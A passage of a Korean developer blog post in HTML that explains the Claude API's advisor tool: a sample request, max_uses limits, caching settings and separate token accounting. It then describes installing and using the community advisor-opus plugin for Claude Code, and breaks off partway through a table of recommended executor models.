&lt;pre class=&quot;scilab&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;curl https://api.anthropic.com/v1/messages \
  -H &quot;x-api-key: $ANTHROPIC_API_KEY&quot; \
  -H &quot;anthropic-version: 2023-06-01&quot; \
  -H &quot;anthropic-beta: advisor-tool-2026-03-01&quot; \
  -H &quot;content-type: application/json&quot; \
  -d '{
    &quot;model&quot;: &quot;claude-sonnet-4-6&quot;,
    &quot;max_tokens&quot;: 4096,
    &quot;tools&quot;: [
      {
        &quot;type&quot;: &quot;advisor_20260301&quot;,
        &quot;name&quot;: &quot;advisor&quot;,
        &quot;model&quot;: &quot;claude-opus-4-7&quot;
      }
    ],
    &quot;messages&quot;: [
      {&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;작업 내용을 입력하세요&quot;}
    ]
  }'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;max_uses와 캐싱 설정&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1088&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPG5dN/dJMcadaFtCr/g1qaWPgnJR7VQfkIR50trk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPG5dN/dJMcadaFtCr/g1qaWPgnJR7VQfkIR50trk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPG5dN/dJMcadaFtCr/g1qaWPgnJR7VQfkIR50trk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPG5dN%2FdJMcadaFtCr%2Fg1qaWPgnJR7VQfkIR50trk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1088&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1088&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_uses&lt;/code&gt; 파라미터로 요청당 advisor 호출 횟수를 제한할 수 있다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 초과 시 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_tool_result_error&lt;/code&gt;와 함께 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_uses_exceeded&lt;/code&gt; 에러 코드가 반환되며, executor는 advisor 없이 계속 실행된다. 이 제한은 요청 단위(per-request)이며, 대화(conversation) 전체에 걸친 cap은 별도로 존재하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대화 수준에서 advisor 호출을 제한하려면 클라이언트 쪽에서 직접 카운트해야 한다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 한도에 도달한 시점에 tools 배열에서 advisor를 제거하고, 메시지 히스토리에서 advisor_tool_result 블록도 함께 제거해야 한다. advisor_tool_result 블록을 남긴 채 advisor를 tools에서 제거하면 400 에러가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 advisor를 여러 번 호출하는 시나리오라면 캐싱이 비용을 줄여준다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에서 확인된 설정이다. &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;ttl&lt;/code&gt;은 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;&quot;5m&quot;&lt;/code&gt;(5분)과 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;&quot;1h&quot;&lt;/code&gt;(1시간) 두 값을 지원하며, 기본값은 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;&quot;5m&quot;&lt;/code&gt;이다. tools 배열의 advisor 정의 안에 추가한다.&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;type&quot;: &quot;advisor_20260301&quot;,
  &quot;name&quot;: &quot;advisor&quot;,
  &quot;model&quot;: &quot;claude-opus-4-7&quot;,
  &quot;caching&quot;: {&quot;type&quot;: &quot;ephemeral&quot;, &quot;ttl&quot;: &quot;5m&quot;}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐시 쓰기 비용이 읽기 절감보다 크므로, 대략 3회 이상 호출하는 시나리오에서 손익분기점에 도달한다. 단, extended thinking을 활성화하는 경우 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;clear_thinking&lt;/code&gt; 설정과의 상호작용에 주의가 필요하다. &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;clear_thinking&lt;/code&gt;의 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;keep&lt;/code&gt; 값이 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;&quot;all&quot;&lt;/code&gt;이 아닌 경우 advisor 쪽에서 매 턴 캐시 미스가 발생해 비용이 늘어난다. extended thinking을 별도 설정 없이 활성화하면 API 기본값(&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;keep: {type: &quot;thinking_turns&quot;, value: 1}&lt;/code&gt;)이 이 문제를 자동으로 유발한다. &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;keep: &quot;all&quot;&lt;/code&gt;로 설정하면 advisor 캐시 안정성이 유지된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;토큰 사용량 추적 &amp;mdash; 비용 계산 가이드&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EXVKt/dJMcajopaGm/Dc9C8g6pTp4DqfM4JRw6C1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EXVKt/dJMcajopaGm/Dc9C8g6pTp4DqfM4JRw6C1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EXVKt/dJMcajopaGm/Dc9C8g6pTp4DqfM4JRw6C1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEXVKt%2FdJMcajopaGm%2FDc9C8g6pTp4DqfM4JRw6C1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1090&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 top-level &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;usage&lt;/code&gt; 필드는 executor 토큰만 반영한다. advisor 토큰은 top-level usage에 합산되지 않으며, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;usage.iterations&lt;/code&gt; 배열에서 별도로 확인한다. 실제 비용 계산 시에는 두 모델의 청구 요금이 다르므로 iterations를 반드시 분리해서 집계해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;usage.iterations&lt;/code&gt; 배열의 각 항목은 다음과 같이 구분된다.&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;usage&quot;: {
    &quot;input_tokens&quot;: 1200,
    &quot;output_tokens&quot;: 850,
    &quot;iterations&quot;: [
      {
        &quot;type&quot;: &quot;message&quot;,
        &quot;input_tokens&quot;: 1200,
        &quot;cache_read_input_tokens&quot;: 0,
        &quot;cache_creation_input_tokens&quot;: 0,
        &quot;output_tokens&quot;: 120
      },
      {
        &quot;type&quot;: &quot;advisor_message&quot;,
        &quot;input_tokens&quot;: 4800,
        &quot;cache_read_input_tokens&quot;: 3200,
        &quot;cache_creation_input_tokens&quot;: 0,
        &quot;output_tokens&quot;: 95
      },
      {
        &quot;type&quot;: &quot;message&quot;,
        &quot;input_tokens&quot;: 1350,
        &quot;cache_read_input_tokens&quot;: 0,
        &quot;cache_creation_input_tokens&quot;: 0,
        &quot;output_tokens&quot;: 730
      }
    ]
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;type: &quot;message&quot;&lt;/code&gt;는 executor(Sonnet/Haiku) 요금으로, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;type: &quot;advisor_message&quot;&lt;/code&gt;는 advisor(Opus) 요금으로 별도 청구된다. top-level &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;input_tokens&lt;/code&gt;는 executor의 첫 번째 iteration만 반영한다는 점에 주의한다. Batch processing을 사용하는 경우 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;usage.iterations&lt;/code&gt;는 아이템별로 보고된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실전에서 흔한 실수는 top-level &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;usage.output_tokens&lt;/code&gt;만 보고 advisor 비용을 누락하는 것이다. 위 예시에서 advisor_message의 output_tokens(95)는 Opus 요금으로 별도 산정되므로, 비용 대시보드에서 iterations를 집계하지 않으면 실제 비용을 과소 추정하게 된다. &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_message&lt;/code&gt;가 예상보다 많이 찍힌다면 max_uses 파라미터로 요청당 advisor 호출 횟수에 상한을 두는 것이 비용 통제의 첫 번째 수단이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 5 ===== --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. advisor-opus 플러그인 설치 및 사용법&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PboVA/dJMcabcSUQu/tj1ndtIbzKC3sEkGXSPOJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PboVA/dJMcabcSUQu/tj1ndtIbzKC3sEkGXSPOJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PboVA/dJMcabcSUQu/tj1ndtIbzKC3sEkGXSPOJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPboVA%2FdJMcabcSUQu%2Ftj1ndtIbzKC3sEkGXSPOJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1072&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플러그인 개요&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/shalomeir/advisor-opus&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;advisor-opus&lt;/a&gt;는 Claude Code에서 Advisor Strategy를 슬래시 커맨드로 쓸 수 있게 만든 커뮤니티 플러그인이다. MIT 라이선스로 공개되어 있다.&lt;/p&gt;
&lt;div style=&quot;background: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Deprecated 상태&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/shalomeir/advisor-opus&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;GitHub README&lt;/a&gt;에 명시된 내용이다: &quot;Claude Code에 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor&lt;/code&gt; 기능이 공식 출시(혹은 출시 예정)되어, 이 플러그인은 deprecated 되었습니다. 이 플러그인이 제공하던 Advisor 패턴이 Claude Code에 네이티브로 내장됩니다. 공식 기능을 사용하세요: Claude Code 세션에서 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor&lt;/code&gt;를 입력하면 됩니다. 다만, 이 플러그인은 skill 호출 시점을 직접 커스터마이즈할 수 있어 여전히 유용합니다. Repo는 계속 유지되며, 설치하여 사용할 수 있습니다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code /advisor &amp;mdash; Experimental 상태 (v2.1.117, 2026-04-22 기준)&lt;/b&gt;: Claude Code changelog에 따르면 내장 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor&lt;/code&gt; 기능은 현재 GA(정식 출시)가 아닌 &lt;b&gt;experimental&lt;/b&gt; 상태다. &quot;Advisor Tool (experimental)&quot; 레이블이 붙어 있으며 세션 시작 시 startup notification이 표시된다. 운영 환경 도입 전 experimental 상태임을 고려해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치 3단계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/shalomeir/advisor-opus&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;GitHub README&lt;/a&gt;에서 확인한 설치 절차다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 마켓플레이스에서 플러그인 추가
/plugin marketplace add shalomeir/advisor-opus

# 2. 플러그인 설치
/plugin install advisor-opus@advisor-opus

# 3. 플러그인 리로드
/reload-plugins&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;gt; /plugin&amp;nbsp;marketplace&amp;nbsp;add&amp;nbsp;shalomeir/advisor-opus&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;860&quot; data-origin-height=&quot;98&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo1Dlx/dJMcaakLQZv/C9XltKB5fPSoOsWCFLTUl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo1Dlx/dJMcaakLQZv/C9XltKB5fPSoOsWCFLTUl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo1Dlx/dJMcaakLQZv/C9XltKB5fPSoOsWCFLTUl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo1Dlx%2FdJMcaakLQZv%2FC9XltKB5fPSoOsWCFLTUl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;860&quot; height=&quot;98&quot; data-origin-width=&quot;860&quot; data-origin-height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;gt;&amp;nbsp; /plugin&amp;nbsp;install&amp;nbsp;advisor-opus@advisor-opus&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;96&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdgHuD/dJMcaakLQZJ/dkcdVqj2dG1QE76H3s8Rl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdgHuD/dJMcaakLQZJ/dkcdVqj2dG1QE76H3s8Rl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdgHuD/dJMcaakLQZJ/dkcdVqj2dG1QE76H3s8Rl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdgHuD%2FdJMcaakLQZJ%2FdkcdVqj2dG1QE76H3s8Rl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;96&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;96&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;gt; /reload-plugins&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;제공 커맨드 3종&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/shalomeir/advisor-opus&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;플러그인 README&lt;/a&gt;에 따르면 세 가지 커맨드가 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;커맨드&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor-opus:plan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 시작 전 전략적 계획 수립 &amp;mdash; end state, critical path, risks, next steps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor-opus:advise&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아키텍처&amp;middot;방향 결정 시 두 번째 의견 (second opinion)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor-opus:review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커밋 전 정확성&amp;middot;보안 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄 요약: plan은 시작 전, advise는 방향이 헷갈릴 때, review는 커밋 직전에 쓴다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1824&quot; data-origin-height=&quot;292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brFxEt/dJMcaf0E3sO/2UwXooSPtShoPV5UFd63KK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brFxEt/dJMcaf0E3sO/2UwXooSPtShoPV5UFd63KK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brFxEt/dJMcaf0E3sO/2UwXooSPtShoPV5UFd63KK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrFxEt%2FdJMcaf0E3sO%2F2UwXooSPtShoPV5UFd63KK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1824&quot; height=&quot;292&quot; data-origin-width=&quot;1824&quot; data-origin-height=&quot;292&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동 호출 로직과 모델 추천&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플러그인은 호출 타이밍도 정의해 놨다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/shalomeir/advisor-opus&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;README&lt;/a&gt;에 따르면 PLANNING(복잡 작업 전), COMPLETION(코드 작성 후 커밋 전), PIVOT/REACTIVE(방향 전환이나 막혔을 때) 세 시점이 기준이다. 복잡한 작업당 최대 2회(최대 4회 수준), 단순 작업은 건너뛴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;executor 모델별 추천도 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/shalomeir/advisor-opus&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;같은 문서&lt;/a&gt;에서 명확하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Executor&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;추천 여부&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Haiku&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;강력 추천&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지능 격차가 커서 Opus 조언의 효과가 극대화됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Sonnet&lt;/td&gt;
